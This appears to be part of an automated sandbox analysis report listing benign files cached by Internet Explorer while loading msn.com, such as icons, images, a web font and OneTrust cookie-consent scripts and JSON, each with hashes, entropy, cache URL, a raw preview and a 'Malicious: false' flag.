Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs.................IDAT8O.SKH.a....g.....E..j..B7..B..... .L)q.&t..\EA. A.. D.. 7..M.(#A.t\|&..z.3w.....Zu.;s.9.;................i.o.P.:....D.+...!.....4.g.J..W..F.mC..%tt0I.j..J..kU.o...0.....qk4....!>.>...;...Q..".5$..oaX..>..:..Ebl..;.{s...W.v..#k}].)}......U.'....R..(..4..n..dp......v.@!..^G0....A..j.}..h+..t.....<..q...6.8.jG......E%...F.......ZT....+....-.R.....M.. .A.wM........+.F}.....`-+u....yf..h,.KB.0......;I.'..E.(...2VR;.V...u...cM..}....r\.!.J>%......8f"....q.\|...i..8..I1..f.3p.@ $a.k.A...3..I.O.Dj...}..PY.5`...$..y.Z..t... ...\|.E.zp............>f..<z.If...9Z;....O.^B.Q..-.C....=.......v?@).Q..b...3....`.9d.D5.......X.....Za.......!#h.. \&s....M3Qa..%.p..\1..xE.>..-J.._........?..?5e......IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\a5ea21[1].ico Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	758
Entropy (8bit):	7.432323547387593
Encrypted:	false
SSDEEP:	12:6v/792/6TCfasyRmQ/iyzH48qyNkWCj7ev50C5qABOTo+CGB++yg43qX4b9uTmMI:F/6easyD/iCHLSWWqyCoTTdTc+yhaX4v
MD5:	84CC977D0EB148166481B01D8418E375
SHA1:	00E2461BCD67D7BA511DB230415000AEFBD30D2D
SHA-256:	BBF8DA37D92138CC08FFEEC8E3379C334988D5AE99F4415579999BFBBB57A66C
SHA-512:	F47A507077F9173FB07EC200C2677BA5F783D645BE100F12EFE71F701A74272A98E853C4FAB63740D685853935D545730992D0004C9D2FE8E1965445CAB509C3
Malicious:	false
IE Cache URL:	https://static-global-s-msn-com.akamaized.net/hp-neu/sc/2b/a5ea21.ico
Preview:	.PNG........IHDR... ... ............pHYs.................vpAg... ... ........eIDATH...o.@../..MT..KY..P!9^....:UjS..T."P.(R.PZ.KQZ.S. ....,v2.^.....9/t....K..;_ }'.....~..qK..i.;.B..2.`.C...B........<...CB.....).....;..Bx..2.}.. ._>w!..%B..{.d...LCgz..j/.7D..M..............'.HK..j%.!DOf7......C.]._Z.f+..1.I+.;.Mf....L:Vhg..[.. ..O:..1.a....F..S.D...8<n.V.7M.....cY@.......4.D..kn%.e.A.@lA.,>\.Q\|.N.P........<.!....ip...y..U....J...9...R..mgp}vvn.f4$..X.E.1.T...?.....'.wz..U...../[...z..(DB.B(....-........B.=m.3......X...p...Y........w..<.........8...3.;.0....(..I...A..6f.g.xF..7h.Gmq\|....gz_Z...x..0F'..........x..=Y}.,jT..R......72w/...Bh..5..C...2.06`........8@A..."zTXtSoftware..x.sL.OJU..MLO.JML.../.....M....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\de-ch[1].json Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	79097
Entropy (8bit):	5.337866393801766
Encrypted:	false
SSDEEP:	768:olAy9XsiItnuy5zIux1whjCU7kJB1C54AYtiQzNEJEWlCgP5HVN/QZYUmftKCB:olLEJxa4CmdiuWlDxHga7B
MD5:	408DDD452219F77E388108945DE7D0FE
SHA1:	C34BAE1E2EBD5867CB735A5C9573E08C4787E8E7
SHA-256:	197C124AD4B7DD42D6628B9BEFD54226CCDCD631ECFAEE6FB857195835F3B385
SHA-512:	17B4CF649A4EAE86A6A38ABA535CAF0AEFB318D06765729053FDE4CD2EFEE7C13097286D0B8595435D0EB62EF09182A9A10CFEE2E71B72B74A6566A2697EAB1B
Malicious:	false
IE Cache URL:	https://www.msn.com/_h/9c38ab9f/webcore/externalscripts/oneTrustV2/consent/55a804ab-e5c6-4b97-9319-86263d365d28/6f0cca92-2dda-4588-a757-0e009f333603/de-ch.json
Preview:	{"DomainData":{"pclifeSpanYr":"Year","pclifeSpanYrs":"Years","pclifeSpanSecs":"A few seconds","pclifeSpanWk":"Week","pclifeSpanWks":"Weeks","cctId":"55a804ab-e5c6-4b97-9319-86263d365d28","MainText":"Ihre Privatsph.re","MainInfoText":"Wir verarbeiten Ihre Daten, um Inhalte oder Anzeigen bereitzustellen, und analysieren die Bereitstellung solcher Inhalte oder Anzeigen, um Erkenntnisse .ber unsere Website zu gewinnen. Wir geben diese Informationen auf der Grundlage einer Einwilligung und eines berechtigten Interesses an unsere Partner weiter. Sie k.nnen Ihr Recht auf Einwilligung oder Widerspruch gegen ein berechtigtes Interesse aus.ben, und zwar auf der Grundlage eines der folgenden bestimmten Zwecke oder auf Partnerebene .ber den Link unter jedem Zweck. Diese Entscheidungen werden an unsere Anbieter, die am Transparency and Consent Framework teilnehmen, signalisiert.","AboutText":"Weitere Informationen","AboutCookiesText":"Ihre Privatsph.re","ConfirmText":"Alle zulassen","AllowAll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\iab2Data[1].json Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	242382
Entropy (8bit):	5.1486574437549235
Encrypted:	false
SSDEEP:	768:l3JqIW6A3pZcOkv+prD5bxLkjO68KQHamIT4Ff5+wbUk6syZ7TMwz:l3JqINA3kR4D5bxLk78KsIkfZ6hBz
MD5:	D76FFE379391B1C7EE0773A842843B7E
SHA1:	772ED93B31A368AE8548D22E72DDE24BB6E3855C
SHA-256:	D0EB78606C49FCD41E2032EC6CC6A985041587AAEE3AE15B6D3B693A924F08F2
SHA-512:	23E7888E069D05812710BF56CC76805A4E836B88F7493EC6F669F72A55D5D85AD86AD608650E708FA1861BC78A139616322D34962FD6BE0D64E0BEA0107BF4F4
Malicious:	false
IE Cache URL:	https://www.msn.com/_h/9c38ab9f/webcore/externalscripts/oneTrustV2/consent/55a804ab-e5c6-4b97-9319-86263d365d28/iab2Data.json
Preview:	{"gvlSpecificationVersion":2,"tcfPolicyVersion":2,"features":{"1":{"descriptionLegal":"Vendors can:\n* Combine data obtained offline with data collected online in support of one or more Purposes or Special Purposes.","id":1,"name":"Match and combine offline data sources","description":"Data from offline data sources can be combined with your online activity in support of one or more purposes"},"2":{"descriptionLegal":"Vendors can:\n* Deterministically determine that two or more devices belong to the same user or household\n* Probabilistically determine that two or more devices belong to the same user or household\n* Actively scan device characteristics for identification for probabilistic identification if users have allowed vendors to actively scan device characteristics for identification (Special Feature 2)","id":2,"name":"Link different devices","description":"Different devices can be determined as belonging to you or your household in support of one or more of purposes."},"3":{"de

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\otFlat[1].json Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	downloaded
Size (bytes):	12282
Entropy (8bit):	5.246783630735545
Encrypted:	false
SSDEEP:	192:SZ1Nfybp4gtNs5FYdGDaRBYw6Q3OEB+q5OdjM/w4lYLp5bMqEb5PenUpoQuQJYQj:WNejbnNP85csXfn/BoH6iAHyPtJJAk
MD5:	A7049025D23AEC458F406F190D31D68C
SHA1:	450BC57E9C44FB45AD7DC826EB523E85B9E05944
SHA-256:	101077328E77440ADEE7E27FC9A0A78DEB3EA880426DFFFDA70237CE413388A5
SHA-512:	EFBEFAF0D02828F7DBD070317BFDF442CAE516011D596319AE0AF90FC4C4BD9FF945AB6E6E0FF9C737D54E05855414386492D95ABFC610E7DE2E99725CB1A906
Malicious:	false
IE Cache URL:	https://www.msn.com/_h/9c38ab9f/webcore/externalscripts/oneTrustV2/scripttemplates/6.4.0/assets/otFlat.json
Preview:	.. {.. "name": "otFlat",.. "html": "PGRpdiBpZD0ib25ldHJ1c3QtYmFubmVyLXNkayIgY2xhc3M9Im90RmxhdCIgcm9sZT0iZGlhbG9nIiBhcmlhLWRlc2NyaWJlZGJ5PSJvbmV0cnVzdC1wb2xpY3ktdGV4dCI+PGRpdiBjbGFzcz0ib3Qtc2RrLWNvbnRhaW5lciI+PGRpdiBjbGFzcz0ib3Qtc2RrLXJvdyI+PGRpdiBpZD0ib25ldHJ1c3QtZ3JvdXAtY29udGFpbmVyIiBjbGFzcz0ib3Qtc2RrLWVpZ2h0IG90LXNkay1jb2x1bW5zIj48ZGl2IGNsYXNzPSJiYW5uZXJfbG9nbyI+PC9kaXY+PGRpdiBpZD0ib25ldHJ1c3QtcG9saWN5Ij48aDMgaWQ9Im9uZXRydXN0LXBvbGljeS10aXRsZSI+VGl0bGU8L2gzPjxwIGlkPSJvbmV0cnVzdC1wb2xpY3ktdGV4dCI+dGl0bGU8L3A+PGRpdiBjbGFzcz0ib3QtZHBkLWNvbnRhaW5lciI+PGgzIGNsYXNzPSJvdC1kcGQtdGl0bGUiPldlIGNvbGxlY3QgZGF0YSBpbiBvcmRlciB0byBwcm92aWRlOjwvaDM+PGRpdiBjbGFzcz0ib3QtZHBkLWNvbnRlbnQiPjxwIGNsYXNzPSJvdC1kcGQtZGVzYyI+ZGVzY3JpcHRpb248L3A+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+PGRpdiBpZD0ib25ldHJ1c3QtYnV0dG9uLWdyb3VwLXBhcmVudCIgY2xhc3M9Im90LXNkay10aHJlZSBvdC1zZGstY29sdW1ucyI+PGRpdiBpZD0ib25ldHJ1c3QtYnV0dG9uLWdyb3VwIj48YnV0dG9uIGlkPSJvbmV0cnVzdC1wYy1idG4taGFuZGxlciI+Y2h

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\otPcCenter[1].json Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	downloaded
Size (bytes):	47714
Entropy (8bit):	5.565687858735718
Encrypted:	false
SSDEEP:	768:4zg/3JXE9ZSqN76pW1lzZzic18+JHoQthI:4zCBceUdZzic18+5xI
MD5:	8EC5B25A65A667DB4AC3872793B7ACD2
SHA1:	6B67117F21B0EF4B08FE81EF482B888396BBB805
SHA-256:	F6744A2452B9B3C019786704163C9E6B3C04F3677A7251751AEFD4E6A556B988
SHA-512:	1EDC5702B55E20F5257B23BCFCC5728C4FD0DEB194D4AADA577EE0A6254F3A99B6D1AEDAAAC7064841BDE5EE8164578CC98F63B188C1A284E81594BCC0F20868
Malicious:	false
IE Cache URL:	https://www.msn.com/_h/9c38ab9f/webcore/externalscripts/oneTrustV2/scripttemplates/6.4.0/assets/v2/otPcCenter.json
Preview:	.. {.. "name": "otPcCenter",.. "html": "PGRpdiBpZD0ib25ldHJ1c3QtcGMtc2RrIiBjbGFzcz0ib3RQY0NlbnRlciBvdC1oaWRlIG90LWZhZGUtaW4iIGFyaWEtbW9kYWw9InRydWUiIHJvbGU9ImRpYWxvZyIgYXJpYS1sYWJlbGxlZGJ5PSJvdC1wYy10aXRsZSI+PCEtLSBDbG9zZSBCdXR0b24gLS0+PGRpdiBjbGFzcz0ib3QtcGMtaGVhZGVyIj48IS0tIExvZ28gVGFnIC0tPjxkaXYgY2xhc3M9Im90LXBjLWxvZ28iIHJvbGU9ImltZyIgYXJpYS1sYWJlbD0iQ29tcGFueSBMb2dvIj48L2Rpdj48YnV0dG9uIGlkPSJjbG9zZS1wYy1idG4taGFuZGxlciIgY2xhc3M9Im90LWNsb3NlLWljb24iIGFyaWEtbGFiZWw9IkNsb3NlIj48L2J1dHRvbj48L2Rpdj48IS0tIENsb3NlIEJ1dHRvbiAtLT48ZGl2IGlkPSJvdC1wYy1jb250ZW50IiBjbGFzcz0ib3QtcGMtc2Nyb2xsYmFyIj48aDMgaWQ9Im90LXBjLXRpdGxlIj5Zb3VyIFByaXZhY3k8L2gzPjxkaXYgaWQ9Im90LXBjLWRlc2MiPjwvZGl2PjxidXR0b24gaWQ9ImFjY2VwdC1yZWNvbW1lbmRlZC1idG4taGFuZGxlciI+QWxsb3cgYWxsPC9idXR0b24+PHNlY3Rpb24gY2xhc3M9Im90LXNkay1yb3cgb3QtY2F0LWdycCI+PGgzIGlkPSJvdC1jYXRlZ29yeS10aXRsZSI+TWFuYWdlIENvb2tpZSBQcmVmZXJlbmNlczwvaDM+PGRpdiBjbGFzcz0ib3QtcGxpLWhkciI+PHNwYW4gY2xhc3M9Im90LWxpLXRpdGxlIj5Db25zZW50PC9

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\otSDKStub[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	downloaded
Size (bytes):	16853
Entropy (8bit):	5.393243893610489
Encrypted:	false
SSDEEP:	192:2Qp/7PwSgaXIXbci91iEBadZH8fKR9OcmIQMYOYS7uzdwnBZv7iIHXF2FsT:FRr14FLMdZH8f4wOjawnTvuIHVh
MD5:	82566994A83436F3BDD00843109068A7
SHA1:	6D28B53651DA278FAE9CFBCEE1B93506A4BCD4A4
SHA-256:	450CFBC8F3F760485FBF12B16C2E4E1E9617F5A22354337968DD661D11FFAD1D
SHA-512:	1513DCF79F9CD8318109BDFD8BE1AEA4D2AEB4B9C869DAFF135173CC1C4C552C4C50C494088B0CA04B6FB6C208AA323BFE89E9B9DED57083F0E8954970EF8F22
Malicious:	false
IE Cache URL:	https://www.msn.com/_h/9c38ab9f/webcore/externalscripts/oneTrustV2/scripttemplates/otSDKStub.js
Preview:	var OneTrustStub=function(e){"use strict";var t,o,n,i,a,r,s,l,c,p,u,d,m,h,f,g,b,A,C,v,y,I,S,w,T,L,R,B,D,G,E,P,_,U,k,O,F,V,x,N,H,M,j,K=new function(){this.optanonCookieName="OptanonConsent",this.optanonHtmlGroupData=[],this.optanonHostData=[],this.genVendorsData=[],this.IABCookieValue="",this.oneTrustIABCookieName="eupubconsent",this.oneTrustIsIABCrossConsentEnableParam="isIABGlobal",this.isStubReady=!0,this.geolocationCookiesParam="geolocation",this.EUCOUNTRIES=["BE","BG","CZ","DK","DE","EE","IE","GR","ES","FR","IT","CY","LV","LT","LU","HU","MT","NL","AT","PL","PT","RO","SI","SK","FI","SE","GB","HR","LI","NO","IS"],this.stubFileName="otSDKStub",this.DATAFILEATTRIBUTE="data-domain-script",this.bannerScriptName="otBannerSdk.js",this.mobileOnlineURL=[],this.isMigratedURL=!1,this.migratedCCTID="[[OldCCTID]]",this.migratedDomainId="[[NewDomainId]]",this.userLocation={country:"",state:""}};(o=t=t\|\|{})[o.Unknown=0]="Unknown",o[o.BannerCloseButton=1]="BannerCloseButton",o[o.ConfirmChoiceButton

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\otTCF-ie[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	downloaded
Size (bytes):	102879
Entropy (8bit):	5.311489377663803
Encrypted:	false
SSDEEP:	768:ONkWT0m7r8N1qpPVsjvB6z4Yj3RCjnugKtLEdT8xJORONTMC5GkkJ0XcJGk58:8kunecpuj5QRCjnrKxJg0TMC5ZW8
MD5:	52F29FAC6C1D2B0BAC8FE5D0AA2F7A15
SHA1:	D66C777DA4B6D1FEE86180B2B45A3954AE7E0AED
SHA-256:	E497A9E7A9620236A9A67F77D2CDA1CC9615F508A392ECCA53F63D2C8283DC0E
SHA-512:	DF33C49B063AEFD719B47F9335A4A7CE38FA391B2ADF5ACFD0C3FE891A5D0ADDF1C3295E6FF44EE08E729F96E0D526FFD773DC272E57C3B247696B79EE1168BA
Malicious:	false
IE Cache URL:	https://www.msn.com/_h/9c38ab9f/webcore/externalscripts/oneTrustV2/scripttemplates/6.4.0/otTCF-ie.js
Preview:	!function(){"use strict";var c="undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{};function e(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}function t(e,t){return e(t={exports:{}},t.exports),t.exports}function n(e){return e&&e.Math==Math&&e}function p(e){try{return!!e()}catch(e){return!0}}function E(e,t){return{enumerable:!(1&e),configurable:!(2&e),writable:!(4&e),value:t}}function o(e){return w.call(e).slice(8,-1)}function u(e){if(null==e)throw TypeError("Can't call method on "+e);return e}function l(e){return I(u(e))}function f(e){return"object"==typeof e?null!==e:"function"==typeof e}function i(e,t){if(!f(e))return e;var n,r;if(t&&"function"==typeof(n=e.toString)&&!f(r=n.call(e)))return r;if("function"==typeof(n=e.valueOf)&&!f(r=n.call(e)))return r;if(!t&&"function"==typeof(n=e.toString)&&!f(r=n.call(e)))return r;throw TypeError("Can't convert object to primitive value")}function y(e,t){retur

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\46a64e19-d1cf-494e-8a93-1a179ccdaae9[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 300x300, frames 3
Category:	downloaded
Size (bytes):	62216
Entropy (8bit):	7.9611985744209015
Encrypted:	false
SSDEEP:	1536:tGmB0lzXjpJ+b/eA4b6Ta4/YSRX2m06i/qNc097F4zaww9fe:RBeFkb/9I6TaK9KYR4VX
MD5:	D3B606F44F4035D110753D9C12B38051
SHA1:	4BECDD0487DAD8FD021A355E25BB93E6A1486817
SHA-256:	CA0634520BFBB563FB5AFF0B3BDD5F42B12961D6F2453E0C1F01F49DE17D48E7
SHA-512:	17A02FDF1F3ADF3F443A95A4C202ECF407DED8E6CDAF961A40F6B3781BD618BA59B2EF39AFDD5D0B9F6A627B9C896A2A90C568D48461E9C0F05E50392F80E385
Malicious:	false
IE Cache URL:	https://cvision.media.net/new/300x300/3/238/136/246/46a64e19-d1cf-494e-8a93-1a179ccdaae9.jpg?v=9
Preview:	......JFIF.............C....................................................................C.......................................................................,.,.."...........................................P.............................!.1A."Qa.#2q....B....$Rb....3r%4Dc...&CS..57e.Td..................................C......................!..1A.Qa."q...R....2B....#b.$3r..CS.45dt..............?.Y..>h...\|.w.xo@........C$..^.....H._...#....'.W.}..7.A6......U..yy.=.?.........3.g......q.-dc...hd~._.....>....uC........Hz g.'.>...d...nI..q....!.\|..<.`.......>#..?.}G..>e\|'.A..N..~Y..y.,..3...?.yp".J~g......~.l...01.0...<,....=.=i.mp...o...K...#..W...P..H.l..~...;........mD.H...#..<...?.}G....%.x}Z}}~_w.z_..~G'...^..#..C..3.>.mK..m.......p8..A .@$.:..Ab6.e'.....9m=.x.[....R}v......}R..$.....i.N.}}iP0`.....g....H.J{\|..\........q.....1.@.$.......u9.H.H1&t..^..t~.....q..=P.~.....a1.....F@....(.#.......E80f...cv.s..g=...8.........~.<(.#......=.?.......#U..).......#..JH

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\4996b9[1].woff Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	Web Open Font Format, TrueType, length 45633, version 1.0
Category:	downloaded
Size (bytes):	45633
Entropy (8bit):	6.523183274214988
Encrypted:	false
SSDEEP:	768:GiE2wcDeO5t68PKACfgVEwZfaDDxLQ0+nSEClr1X/7BXq/SH0Cl7dA7Q/B0WkAfO:82/DeO5M8PKASCZSvxQ0+TCPXtUSHF7c
MD5:	A92232F513DC07C229DDFA3DE4979FBA
SHA1:	EB6E465AE947709D5215269076F99766B53AE3D1
SHA-256:	F477B53BF5E6E10FA78C41DEAF32FA4D78A657D7B2EFE85B35C06886C7191BB9
SHA-512:	32A33CC9D6F2F1C962174F6CC636053A4BFA29A287AF72B2E2825D8FA6336850C902AB3F4C07FB4BF0158353EBBD36C0D367A5E358D9840D70B90B93DB2AE32D
Malicious:	false
IE Cache URL:	https://static-global-s-msn-com.akamaized.net/hp-neu/sc/ea/4996b9.woff
Preview:	wOFF.......A...........................,....OS/2...p...`...`B.Y.cmap.............G.glyf.......,...,0..Hhead.......6...6....hhea...,...$...$....hmtx............($LKloca...`...f...f....maxp...P... ... ....name............IU..post....... ... ............I.A_.<........... ........d........................^...q.d.Z.................................................................3.......3.....f..............................HL .@...U...f.........................................\.d.\.d...d.e.d.Z.d.b.d.4.d.=.d.Y.d.c.d.].d.b.d.I.d.b.d.f.d._.d.^.d.(.d.b.d.^.d.b.d.b.d...d...d._.d._.d...d...d.P.d.0.d.b.d.b.d.P.d.u.d.c.d.^.d._.d.q.d._.d.d.d.b.d._.d._.d.b.d.a.d.b.d.a.d.b.d...d...d.^.d.^.d.`.d.[.d...d...d.$.d.p.d...d...d.^.d._.d.T.d...d.b.d.b.d.b.d.i.d.d.d...d...d...d.7.d.^.d.X.d.].d.).d.l.d.l.d.b.d.b.d.,.d.,.d.b.d.b.d...d...d...d.7.d.b.d.1.d.b.d.b.d...d...d...d...d...d.A.d...d...d.(.d.`.d...d...d.^.d.r.d.f.d.,.d.b.d...d.b.d._.d.q.d...d...d.b.d.b.d.b.d.b.d...d.r.d.I.d._.d.b.d.b.d.b.d.V.d.Z.d.b.d

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\55a804ab-e5c6-4b97-9319-86263d365d28[1].json Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	2939
Entropy (8bit):	4.794189660497687
Encrypted:	false
SSDEEP:	48:Y9vlgmDHF6Bjb40UMRBrvdiZv5Gh8aZa6AyYAcHHPk5JKIcFerZjSaSZjfumjVT4:OymDwb40zrvdip5GHZa6AymshjUjVjx4
MD5:	B2B036D0AFB84E48CDB782A34C34B9D5
SHA1:	DFC7C8BA62D71767F2A60AED568D915D1C9F82D6
SHA-256:	DC51F0A9F93038659B0DB1B69B69FCFB00FB5911805F8B1E40591F9867FD566F
SHA-512:	C2AAAF7BC1DF73018D92ABD994AF3C0041DCCE883C10F4F4E17685CD349B3AF320BBA29718F98CFF6CC24BE4BDD5360E1D3327AFFBF0C87622AE7CBAB677CF22
Malicious:	false
IE Cache URL:	https://www.msn.com/_h/9c38ab9f/webcore/externalscripts/oneTrustV2/consent/55a804ab-e5c6-4b97-9319-86263d365d28/55a804ab-e5c6-4b97-9319-86263d365d28.json
Preview:	{"CookieSPAEnabled":false,"MultiVariantTestingEnabled":false,"UseV2":true,"MobileSDK":false,"SkipGeolocation":false,"ScriptType":"LOCAL","Version":"6.4.0","OptanonDataJSON":"55a804ab-e5c6-4b97-9319-86263d365d28","GeolocationUrl":"https://geolocation.onetrust.com/cookieconsentpub/v1/geo/location","RuleSet":[{"Id":"6f0cca92-2dda-4588-a757-0e009f333603","Name":"Global","Countries":["pr","ps","pw","py","qa","ad","ae","af","ag","ai","al","am","ao","aq","ar","as","au","aw","az","ba","bb","rs","bd","ru","bf","rw","bh","bi","bj","bl","bm","bn","bo","sa","bq","sb","sc","br","bs","sd","bt","sg","bv","sh","bw","by","sj","bz","sl","sn","so","ca","sr","ss","cc","st","cd","sv","cf","cg","sx","ch","sy","ci","sz","ck","cl","cm","cn","co","tc","cr","td","cu","tf","tg","cv","th","cw","cx","tj","tk","tl","tm","tn","to","tr","tt","tv","tw","dj","tz","dm","do","ua","ug","dz","um","us","ec","eg","eh","uy","uz","va","er","vc","et","ve","vg","vi","vn","vu","fj","fk","fm","fo","wf","ga","ws","gd","ge","gg","gh

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\AAKET7v[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 100x75, frames 3
Category:	downloaded
Size (bytes):	2549
Entropy (8bit):	7.839721284968325
Encrypted:	false
SSDEEP:	48:QfAuETAWGV5QQ2mMMSXdOwAzjjRTBT6VhqIGQlU:Qf7E+V2QfVSXd7AzjjFA/lS
MD5:	7294BA0AFC60E036412A97EBE95C5C24
SHA1:	A7336ED3F4ED12EA1CE9740E40973631ACEDCC1E
SHA-256:	57D005AF2DCA606CC1FAF301D75E92C907E3ACD6E00454C3BF5C36E130D51AEE
SHA-512:	E3BF9768873AA6F6489A5B4ED3A6E5BDCE7333F38C3B0894DE7403099E4989FFF3066F067A3418570D4C36DB303E2D5322A0A9369D6CCB2E97AAA7A140C38C6D
Malicious:	false
IE Cache URL:	https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAKET7v.img?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jpg&x=497&y=293
Preview:	......JFIF.....`.`...................... .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO......K.d...........................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz......................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....d.(...`..`4..M03..Z.H.....H...T.J(i\..<[...V...?.d..g...f.(.N..ID.].:g.IWpo.)*.u.C..u.5+a=.{2..}.o.)+.6.M/.>..:oa..`._7QZL.c...)!.p..#.3..^.F.7....G....(n.J._kz.+;.H..H.U..d..I....{9.A.#l9.\.?..I...t.....-....Q.).....k.&f.c.....2....D..@DJ....Ma7vi..."....B..q..s..V4..n......"...k..\.v....u....LLR...?...+..r.$....G...V..OB...zVh.m...m$....f=...g.y7.uV.5.".......S....h..cF.[..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\AAKF4cY[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 310x166, frames 3
Category:	downloaded
Size (bytes):	10073
Entropy (8bit):	7.945756144052179
Encrypted:	false
SSDEEP:	192:Qnu1F4o++h2E2xOCT3tZtxCT40MppA/EGKgjVjDWmScYegyBHkz3V:0+32x1d3xCT4FppAagjVbRYEBHkjV
MD5:	42EE67013F2559C8CC651DEC9C2CC866
SHA1:	8A8D39E838E91201C49FE491A2CFBA3C02BE6E77
SHA-256:	8C6991AD6F51177A3224558D25C207B82F1FDD32EA10C9FAA4CF29872349AED1
SHA-512:	472E869172CF3292CBD3CC9C95C7927DCB3488586E0F97E8AD6992B46E2F4D41ACA90C3EE0452FC186EBC48F215814911476B39C51A74E552DC97435603D96C8
Malicious:	false
IE Cache URL:	https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAKF4cY.img?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=jpg&x=2319&y=1755
Preview:	......JFIF.....`.`...................... .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO........6...........................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz......................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..kC!h.......+.q<...K`w..f.....\|.H.....a....R:..9/>w..@{.7s.G...UI_...\|.y...Ku5.q6...8....d..j..Qv.o$.]..v....5...H.qjM....^....n....?...6..P2!...i..@.@.@.@..!..LBP.h....?............4i......-.AAhZC......@.......C@..L..Z........1@.T2.=...g.j..o..E1%..9..~......[.F...u..@{q....s.hYu7z...Y.......S......r...[X..."K...Fzu..=R3...K[(......tV..k..R1...4...0.z..n@..,)....@..T`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\AAKFBPA[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 206x250, frames 3
Category:	downloaded
Size (bytes):	10215
Entropy (8bit):	7.946014095826545
Encrypted:	false
SSDEEP:	192:Qo9JSF3LBykuHAt8nzbFAxVFljjhHbFSfhO9uAgHR6fAOkloRb9zu:b9MOGKbSVjjjhHbFSfhOAikSe
MD5:	7EA2A1DA1606F5F30D43B97D67F34067
SHA1:	7B0C92E6712A78B217A9FB338E2FDD2D8233B5A7
SHA-256:	E5EB23069B6CE3397EC052D9CF907DCB86C033459364EEEAF5E8DE2F2EEFD87C
SHA-512:	F2CF71FFFD58EC8A46CF426B2EC9941F0074C5EC1B516DA566B8D0C54E05FC94BF797F41D3726EE5AE931F6921710B415FD6B6D9F19BA40B73AEC4B23BFBC7A5
Malicious:	false
IE Cache URL:	https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAKFBPA.img?h=250&w=206&m=6&q=60&u=t&o=t&l=f&f=jpg&x=1772&y=1182
